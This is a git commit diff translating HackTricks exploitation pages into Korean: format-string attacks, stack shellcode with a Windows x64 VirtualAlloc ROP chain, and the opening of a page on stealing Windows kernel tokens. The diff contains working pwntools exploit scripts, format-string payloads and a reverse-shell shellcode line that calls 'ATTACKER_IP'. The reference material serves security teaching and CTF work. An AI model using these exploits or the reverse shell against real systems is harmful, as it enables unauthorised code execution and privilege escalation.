Translated ['src/windows-hardening/windows-local-privilege-escalation/RE

This commit is contained in:
Translator 2025-08-28 16:54:58 +00:00
parent ef6c2c8296
commit ff95809f3f
5 changed files with 692 additions and 439 deletions

View File

@ -234,6 +234,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)

View File

@ -3,13 +3,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **형식 지정자가 포함된 원시 텍스트**입니다. **다음 매개변수**는 원시 텍스트의 **형식 지정자**를 **대체**할 **값**입니다.
C에서 **`printf`**는 문자열을 **출력**하는 데 사용되는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **포맷터가 포함된 원시 텍스트**입니다. 그 다음에 오는 **매개변수들**은 원시 텍스트의 **포맷터를 대체할 값들**입니다.
다른 취약한 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다.
취약한 다른 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다.
취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 나타납니다. 공격자는 **printf 형식** 문자열 기능을 악용하여 **특수 입력**을 만들어 **읽기 및 쓰기 가능한 모든 주소의 데이터를 읽고 쓸 수** 있습니다. 이렇게 해서 **임의 코드를 실행**할 수 있습니다.
이 취약점은 공격자의 텍스트가 이 함수의 **첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf format** 문자열 기능을 악용하는 **특수한 입력**을 구성하여 임의의 주소에서 데이터를 **읽고 쓰기(읽기/쓰기 가능)** 할 수 있게 됩니다. 이를 통해 **임의의 코드 실행**이 가능해집니다.
#### Formatters:
```bash
@ -22,7 +22,7 @@ C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**예시:**
**예시:**
- 취약한 예:
```c
@ -30,12 +30,12 @@ char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- 일반 사용:
- 일반적인 사용:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- 인수가 누락된 경우:
- 인수 누락 시:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
@ -52,28 +52,28 @@ fclose(output_file);
return 0;
}
```
### **포인터 접근**
### **포인터 접근하기**
형식 **`%<n>$x`**에서 `n`은 숫자로, printf에게 스택에서 n번째 매개변수를 선택하도록 지시합니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음과 같이 할 수 있습니다:
형식 **`%<n>$x`**, 여기서 `n`은 숫자이며, printf에게 스택에서 n번째 param을 선택하라고 지시할 수 있습니다. 따라서 printf를 사용해 스택에서 4번째 param을 읽고 싶다면 다음과 같이 할 수 있습니다:
```c
printf("%x %x %x %x")
```
첫 번째부터 네 번째 매개변수까지 읽을 수 있습니다.
그리고 첫 번째부터 네 번째 파라미터까지 읽게 됩니다.
또는 다음과 같이 할 수 있습니다:
혹은 다음과 같이 할 수도 있습니다:
```c
printf("%4$x")
```
그리고 네 번째를 직접 읽습니다.
공격자가 `printf` **매개변수를 제어한다는 것은** 그의 입력이 `printf`가 호출될 때 스택에 존재한다는 것을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있다는 것을 의미합니다.
Notice that the attacker controls the `printf` **매개변수를 제어한다는 것은** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
> [!CAUTION]
> 이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`가 이를 접근하게 만들 수 있습니다**. 다음 섹션에서는 이 동작을 사용하는 방법에 대해 설명합니다.
> 이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`가 그것들에 접근하게 만들 수 있다**. 다음 섹션에서 이 동작을 어떻게 활용하는지 설명합니다.
## **임의 읽기**
## **Arbitrary Read**
형식 지정자 **`%n$s`**를 사용하여 **`printf`**가 **n 위치**에 있는 **주소**를 가져오고 **문자열처럼 출력**할 수 있습니다(0x00이 발견될 때까지 출력). 따라서 바이너리의 기본 주소가 **`0x8048000`**이고, 사용자 입력이 스택의 4번째 위치에서 시작된다는 것을 알고 있다면, 다음과 같이 바이너리의 시작 부분을 출력할 수 있습니다:
포매터 **`%n$s`**를 사용하여 **`printf`**가 **n번째 위치에 있는 주소**를 가져오도록 하고, 그 주소를 따라가서 **문자열인 것처럼 출력**하게 만들 수 있다(0x00이 나올 때까지 출력). 그래서 바이너리의 베이스 주소가 **`0x8048000`**이고 사용자 입력이 스택의 4번째 위치에서 시작함을 알고 있다면, 바이너리의 시작 부분을 다음과 같이 출력할 수 있다:
```python
from pwn import *
@ -87,15 +87,15 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> 입력의 시작 부분에 주소 0x8048000을 넣을 수 없다는 점에 유의하세요. 문자열은 해당 주소의 끝에서 0x00으로 잘리기 때문입니다.
> 입력의 시작 부분에 주소 0x8048000을 넣을 수 없다는 점에 주의하세요. 문자열이 해당 주소의 끝에서 0x00으로 잘려버리기 때문입니다.
### 오프셋 찾기
입력에 대한 오프셋을 찾으려면 4 또는 8 바이트(`0x41414141`)를 전송한 다음 **`%1$x`**를 추가하고 **값을 증가시켜** `A's`를 검색할 수 있습니다.
오프셋을 찾으려면 4 또는 8바이트(`0x41414141`)를 보낸 다음 **`%1$x`**를 붙이고 **값을 증가시켜** `A's`가 나올 때까지 확인하면 됩니다.
<details>
<summary>브루트 포스 printf 오프셋</summary>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -126,44 +126,47 @@ p.close()
```
</details>
### 얼마나 유용한가
### 유용성
임의 읽기는 다음과 같은 용도로 유용할 수 있습니다:
Arbitrary reads는 다음과 같은 경우에 유용할 수 있다:
- **메모리에서** **바이너리**를 **덤프**하기
- **민감한** **정보**가 저장된 메모리의 특정 부분에 **접근하기** (예: [**CTF 챌린지**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)에서와 같이 카나리, 암호화 키 또는 사용자 정의 비밀번호)
- 메모리에서 **binary**를 **Dump**한다
- canaries, encryption keys 또는 custom passwords와 같이 민감한 **info**가 저장된 메모리의 특정 부분에 **Access**한다 (예: 이 [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **임의 쓰기**
## **Arbitrary Write**
맷터 **`%<num>$n`**은 스택의 \<num> 매개변수에 지정된 주소에 **쓰기 바이트 수**를 **기록**합니다. 공격자가 printf를 사용하여 원하는 만큼의 문자를 쓸 수 있다면, 그는 **`%<num>$n`**을 사용하여 임의의 주소에 임의의 숫자를 쓸 수 있게 됩니다.
매터 **`%<num>$n`**는 스택의 <num> 파라미터가 가리키는 주소에 지금까지 출력된 바이트 수를 쓴다. 만약 attacker가 printf로 원하는 만큼의 char를 출력할 수 있다면, **`%<num>$n`**을 이용해 임의의 주소에 임의의 수를 쓸 수 있다.
다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요는 없으며, 이를 위해 포맷터 **`%.<num-write>%<num>$n`**을 사용하여 **`<num-write>`** 숫자**`num` 위치가 가리키는 주소**에 쓸 수 있습니다.
다행히도 숫자 9999를 쓰기 위해 입력에 "A"를 9999개 넣을 필요는 없다. 대신 포매터 **`%.<num-write>%<num>$n`**를 사용하면 숫자 **`<num-write>`****`num` 위치가 가리키는 주소**에 쓸 수 있다.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
그러나 일반적으로 `0x08049724`와 같은 주소를 작성하기 위해 (한 번에 작성하기에는 엄청난 숫자입니다), **`$hn`**이 **`$n`** 대신 사용됩니다. 이렇게 하면 **2바이트만 작성**할 수 있습니다. 따라서 이 작업은 주소의 가장 높은 2바이트와 가장 낮은 2바이트에 대해 각각 두 번 수행됩니다.
하지만, 일반적으로 `0x08049724` 같은 주소(한 번에 쓰기에는 매우 큰 수)를 쓰기 위해서는 **$n** 대신 **$hn**을 사용한다. 이는 **2 Bytes만 쓰도록** 해준다. 따라서 이 작업은 주소의 상위 2B와 하위 2B에 대해 각각 두 번 수행된다.
따라서 이 취약점은 **임의의 주소에 무엇이든 쓸 수 있게** 합니다.
따라서, 이 취약점은 **임의의 주소에 무엇이든 쓸 수 있다 (arbitrary write).**
이 예제에서는 나중에 호출될 **GOT** 테이블의 **함수** 주소를 **덮어쓰는(overwrite)** 것이 목표이다. 물론 이는 다른 arbitrary write → exec 기법을 악용할 수도 있다:
이 예제에서 목표는 **나중에 호출될** **함수**의 **주소**를 **덮어쓰는** 것입니다. 이는 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있습니다:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
우리는 **사용자**로부터 **인수**를 **받는** **함수**를 **덮어쓰고**, 이를 **`system`** **함수**를 가리키도록 할 것입니다.\
앞서 언급했듯이 주소를 쓰기 위해 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 쓰고, 그 다음에 나머지 2바이트를 씁니다. 이를 위해 **`$hn`**이 사용됩니다.
우리는 **사용자**로부터 **인자(arguments)** 를 받는 **함수**의 주소를 **덮어써서** 이를 **`system`** **함수**로 **가리키도록(point)** 할 것이다.\
앞서 언급했듯이, 주소를 쓰기 위해 보통 2단계가 필요하다: 먼저 주소의 **2Bytes를 쓰고**, 그 다음 나머지 2Bytes를 쓴다. 이를 위해 **`$hn`**을 사용한다.
- **HOB**는 주소의 2개의 높은 바이트를 나타냅니다.
- **LOB**는 주소의 2개의 낮은 바이트를 나타냅니다.
- **HOB**는 주소의 상위 2바이트를 의미한다
- **LOB**는 주소의 하위 2바이트를 의미한다
그런 다음, 포맷 문자열의 작동 방식 때문에 \[HOB, LOB] 중에서 **먼저 가장 작은 값을 써야** 합니다.
그런 다음, format string의 동작 방식 때문에 \[HOB, LOB] 중 **작은 값을 먼저** 쓰고 그 다음 큰 값을 써야 한다.
HOB < LOB\
만약 HOB < LOB\
[HOB < LOB]
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
HOB > LOB\
만약 HOB > LOB\
[HOB > LOB]
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
@ -172,14 +175,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
```
### Pwntools 템플릿
이러한 종류의 취약점을 위한 익스플로잇을 준비하는 **템플릿**을 찾을 수 있습니다:
다음에서 이러한 종류의 취약점에 대한 exploit을 준비하기 위한 **template**을 찾을 수 있습니다:
{{#ref}}
format-strings-template.md
{{#endref}}
또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)에서 이 기본 예제를 확인하세요:
또는 [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)의 기본 예제:
```python
from pwn import *
@ -200,19 +203,60 @@ p.interactive()
```
## Format Strings to BOF
형식 문자열 취약점의 쓰기 작업을 악용하여 **스택의 주소에 쓰기**를 하고 **버퍼 오버플로우** 유형의 취약점을 이용할 수 있습니다.
format string 취약점의 쓰기 동작을 악용하여 **write in addresses of the stack**하고 **buffer overflow** 유형의 취약점을 유발할 수 있다.
## Other Examples & References
## Windows x64: Format-string leak to bypass ASLR (no varargs)
Windows x64에서는 첫 네 개의 정수/포인터 매개변수가 레지스터 RCX, RDX, R8, R9에 전달된다. 많은 취약한 호출 지점에서 공격자가 제어하는 문자열이 format 인자로 사용되지만, variadic arguments는 제공되지 않는 경우가 있다. 예:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
가변 인자가 전달되지 않기 때문에 "%p", "%x", "%s" 같은 변환은 CRT가 적절한 레지스터에서 다음 가변 인자를 읽도록 한다. Microsoft x64 calling convention에서 "%p"에 대한 첫 번째 읽기는 R9에서 발생한다. 호출 지점의 R9에 들어있는 일시적인 값이 출력된다. 실제로 이는 종종 모듈 내부의 안정적인 포인터를 leak하는데(예: 주변 코드에 의해 이전에 R9에 놓인 로컬/글로벌 객체를 가리키는 포인터 또는 callee-saved 값), 이를 이용해 module base를 복구하고 ASLR을 무력화할 수 있다.
Practical workflow:
- 공격자가 제어하는 문자열의 맨 앞에 "%p " 같은 무해한 포맷을 주입하여 첫 번째 변환이 필터링 이전에 실행되게 한다.
- leaked pointer를 캡처하고, 모듈 내부에서 그 객체의 정적 오프셋을 식별(심볼로 한 번 리버스하거나 로컬 복사본 이용)한 다음 image base를 `leak - known_offset`으로 복원한다.
- 해당 base를 재사용하여 ROP gadgets 및 IAT entries의 절대 주소를 원격에서 계산한다.
Example (abbreviated python):
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
노트:
- 정확히 빼야 할 오프셋은 로컬 리버싱 중 한 번 찾아내고 그 후 재사용합니다(같은 binary/version).
- "%p"가 첫 시도에 유효한 포인터를 출력하지 않으면, 다른 서식 지정자("%llx", "%s")나 여러 변환("%p %p %p")을 시도하여 다른 인자 레지스터/스택을 샘플링해 보세요.
- 이 패턴은 format string이 요구할 때 레지스터에서 존재하지 않는 varargs를 가져오는 Windows x64 calling convention 및 printf-family 구현에만 해당합니다.
이 기법은 ASLR이 적용되고 명백한 memory disclosure primitives가 없는 Windows 서비스에서 ROP를 부트스트랩하는 데 매우 유용합니다.
## 다른 예제 및 참고자료
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 비트, no relro, no canary, nx, no pie, 스택에서 플래그를 유출하기 위한 형식 문자열의 기본 사용 (실행 흐름을 변경할 필요 없음)
- 32 bit, no relro, no canary, nx, no pie — format strings를 사용해 스택에서 flag를 leak(실행 흐름을 변경할 필요 없음)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 비트, relro, no canary, nx, no pie, `fflush` 주소를 win 함수로 덮어쓰는 형식 문자열 (ret2win)
- 32 bit, relro, no canary, nx, no pie — format string로 `fflush`의 주소를 win 함수(ret2win)로 덮어쓰기
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 비트, relro, no canary, nx, no pie, `.fini_array` 내의 main에 주소를 쓰기 위한 형식 문자열 (그래서 흐름이 한 번 더 반복됨) 및 `strlen`을 가리키는 GOT 테이블의 `system` 주소를 쓰기. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력과 함께 실행되고 `system`을 가리키면, 전달된 명령이 실행됩니다.
- 32 bit, relro, no canary, nx, no pie — format string로 main 내부의 주소를 `.fini_array`에 쓰게 하여(흐름이 한 번 더 main으로 되돌아감) GOT 테이블의 `strlen``system`을 가리키도록 덮어씁니다. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력과 함께 호출되며 `system`을 가리키므로 전달된 명령이 실행됩니다.
## 참고자료
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
**스택 셸코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 셸코드를 작성한 다음 **명령 포인터 (IP)** 또는 **확장 명령 포인터 (EIP)**를 이 셸코드의 위치를 가리키도록 수정하여 실행되도록 하는 방법입니다. 이는 무단 접근을 얻거나 대상 시스템에서 임의의 명령을 실행하기 위해 사용되는 고전적인 방법입니다. 다음은 프로세스의 개요와 간단한 C 예제, 그리고 **pwntools**를 사용하여 해당 익스플로잇을 작성하는 방법입니다.
**Stack shellcode**은 **binary exploitation**에서 사용되는 기법으로, 공격자가 취약한 프로그램의 스택에 shellcode를 기록한 다음 **Instruction Pointer (IP)** 또는 **Extended Instruction Pointer (EIP)**를 수정하여 해당 shellcode의 위치를 가리키게 하고 실행되게 합니다. 이는 대상 시스템에 무단으로 접근하거나 임의의 명령을 실행하기 위해 사용되는 전형적인 방법입니다. 다음은 그 과정을 단계별로 설명한 것이며, 간단한 C 예제와 Python으로 **pwntools**를 사용해 대응하는 exploit을 작성하는 방법을 포함합니다.
### C Example: A Vulnerable Program
### C 예제: 취약한 프로그램
Let's start with a simple example of a vulnerable C program:
취약한 C 프로그램의 간단한 예제로 시작해봅시다:
```c
#include <stdio.h>
#include <string.h>
@ -24,22 +24,22 @@ printf("Returned safely\n");
return 0;
}
```
이 프로그램은 `gets()` 함수를 사용하여 버퍼 오버플로우에 취약합니다.
이 프로그램은 `gets()` 함수의 사용으로 인해 buffer overflow에 취약합니다.
### 컴파일
### Compilation
이 프로그램을 다양한 보호 기능을 비활성화하여 컴파일하려면 (취약한 환경을 시뮬레이션하기 위해) 다음 명령어를 사용할 수 있습니다:
이 프로그램을 여러 보호 기능을 비활성화하여(취약한 환경을 시뮬레이션하기 위해) 컴파일하려면 다음 명령을 사용할 수 있습니다:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: 스택 보호를 비활성화합니다.
- `-z execstack`: 스택을 실행 가능하게 만들어, 스택에 저장된 shellcode를 실행하는 데 필요합니다.
- `-no-pie`: 위치 독립 실행 파일을 비활성화하여, 우리의 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다.
- `-m32`: 프로그램을 32비트 실행 파일로 컴파일하여, 익스플로잇 개발의 단순성을 위해 자주 사용됩니다.
- `-z execstack`: 스택을 실행 가능하게 만듭니다. 이는 스택에 저장된 shellcode를 실행하는 데 필요합니다.
- `-no-pie`: Position Independent Executable(PIE)을 비활성화하여 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다.
- `-m32`: 프로그램을 32-bit 실행 파일로 컴파일합니다. 일반적으로 exploit 개발에서 단순화를 위해 사용됩니다.
### Python Exploit using Pwntools
### Pwntools를 사용한 Python Exploit
여기 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 Python 익스플로잇을 작성하는 방법이 있습니다:
다음은 **pwntools**를 사용해 **ret2shellcode** 공격을 수행하기 위해 Python으로 exploit을 작성하는 방법입니다:
```python
from pwn import *
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
이 스크립트는 **NOP 슬라이드**, **쉘코드**로 구성된 페이로드를 생성한 다음, **EIP**를 NOP 슬라이드를 가리키는 주소로 덮어써서 쉘코드가 실행되도록 합니다.
이 스크립트는 **NOP slide**, **shellcode**로 구성된 payload를 만들고, 그 다음 **EIP**를 NOP slide를 가리키는 주소로 덮어써서 shellcode가 실행되도록 합니다.
**NOP 슬라이드**(`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이드"될 가능성을 높이기 위해 사용됩니다. `p32()` 인수를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하여 NOP 슬라이드에 도달하도록 합니다.
The **NOP slide** (`asm('nop')`)은 정확한 주소와 무관하게 실행이 우리 shellcode로 "슬라이드"될 가능성을 높이기 위해 사용됩니다. NOP slide에 도달하도록 버퍼의 시작 주소에 오프셋을 더한 값으로 `p32()` 인자를 조정하세요.
## 보호 조치
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **은 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, win 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다.
- [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/index.html)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라가지 않을 것입니다.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내에서 쉘코드의 실행을 방지합니다. 해당 영역은 실행 가능하지 않기 때문입니다.
현대 Windows에서는 stack이 non-executable(DEP/NX)입니다. stack BOF 이후에도 stack-resident shellcode를 실행하는 일반적인 방법은 64-bit ROP chain을 만들어 모듈의 Import Address Table(IAT)에 있는 VirtualAlloc(또는 VirtualProtect)을 호출하여 stack의 영역을 executable로 만들고, 그 체인 뒤에 추가한 shellcode로 리턴하는 것입니다.
## 기타 예제 및 참조
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → 현재 stack의 주소(예: RSP)를 선택하여 새로 할당된 RWX 영역이 payload와 겹치도록 합니다
- RDX = dwSize → chain + shellcode를 수용할 만큼 충분히 크게 설정 (예: 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
3) Place stage-2 shellcode immediately after the chain.
Example layout (conceptual):
```
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
제한된 gadget 세트로 레지스터 값을 간접적으로 구성할 수 있습니다. 예를 들면:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → rbx에서 r9를 설정하고, r8을 0으로 만들며, 스택을 junk qword로 보정합니다.
- xor rbx, rsp; ret → 현재 스택 포인터 값으로 rbx를 초기화합니다.
- push rbx; pop rax; mov rcx, rax; ret → RSP 유래 값을 RCX로 옮깁니다.
Pwntools 스케치 (given a known base and gadgets):
```python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
Tips:
- VirtualProtect는 기존 버퍼를 RX로 만드는 것이 더 바람직한 경우에도 유사하게 동작합니다; 매개변수 순서는 다릅니다.
- 스택 공간이 부족하면 스택을 재사용하는 대신 다른 곳에 RWX를 할당(RCX=NULL)하고 그 새 영역으로 jmp하세요.
- RSP를 조정하는 gadgets(e.g., add rsp, 8; ret)을 항상 고려하여 정크 qwords를 삽입하세요.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **비활성화되어야 합니다**. 주소가 실행마다 달라질 수 있으므로 함수가 저장될 주소가 항상 같지 않아 win 함수가 어디에 로드되는지 알아내려면 어떤 leak이 필요합니다.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) **또한 비활성화되어야 합니다**. 그렇지 않으면 손상된 EIP 리턴 주소가 정상적으로 이어지지 않습니다.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 보호는 스택 내부의 shellcode 실행을 방지합니다. 해당 영역이 실행 불가능하기 때문입니다.
## 기타 예제 및 참고
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64비트, 스택 주소 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기
- 64bit, ASLR와 stack 주소 leak, shellcode를 작성하고 그 위치로 점프
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32비트, 스택 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기
- 32 bit, ASLR와 stack leak, shellcode를 작성하고 그 위치로 점프
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32비트, 스택 leak가 있는 ASLR, exit() 호출 방지를 위한 비교, 변수에 값을 덮어쓰고 쉘코드를 작성하고 점프하기
- 32 bit, ASLR와 stack leak, exit() 호출을 방지하기 위한 비교, 변수를 값으로 덮어쓴 뒤 shellcode를 작성하고 그 위치로 점프
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, ASLR 없음, 스택을 실행 가능하게 만드는 ROP 가젯 및 스택 내 쉘코드로 점프하기
- arm64, ASLR 없음, ROP gadget으로 stack을 실행 가능하게 만들고 stack의 shellcode로 점프
## 참고자료
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,122 @@
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
{{#include ../../banners/hacktricks-training.md}}
## 개요
취약한 드라이버가 IOCTL을 통해 공격자에게 임의의 커널 읽기 및/또는 쓰기 primitives를 제공하면, NT AUTHORITY\SYSTEM으로의 권한 상승은 종종 SYSTEM 액세스 토큰을 훔쳐서 달성할 수 있습니다. 이 기법은 SYSTEM 프로세스의 EPROCESS에 있는 Token 포인터를 현재 프로세스의 EPROCESS로 복사합니다.
동작 원리:
- 각 프로세스는 EPROCESS 구조체를 가지고 있으며 그 안에는 (다른 필드들 중) Token(실제로는 토큰 객체를 가리키는 EX_FAST_REF)이 포함되어 있습니다.
- SYSTEM 프로세스(PID 4)는 모든 권한이 활성화된 토큰을 보유하고 있습니다.
- 현재 프로세스의 EPROCESS.Token을 SYSTEM 토큰 포인터로 교체하면 현재 프로세스는 즉시 SYSTEM으로 실행됩니다.
> EPROCESS의 오프셋은 Windows 버전마다 다릅니다. 동적으로 결정(심볼)하거나 버전별 상수를 사용하세요. 또한 EPROCESS.Token은 EX_FAST_REF임을 기억하세요(하위 3비트는 참조 카운트 플래그로 사용).
## 고수준 단계
1) ntoskrnl.exe 베이스를 찾고 PsInitialSystemProcess의 주소를 해결합니다.
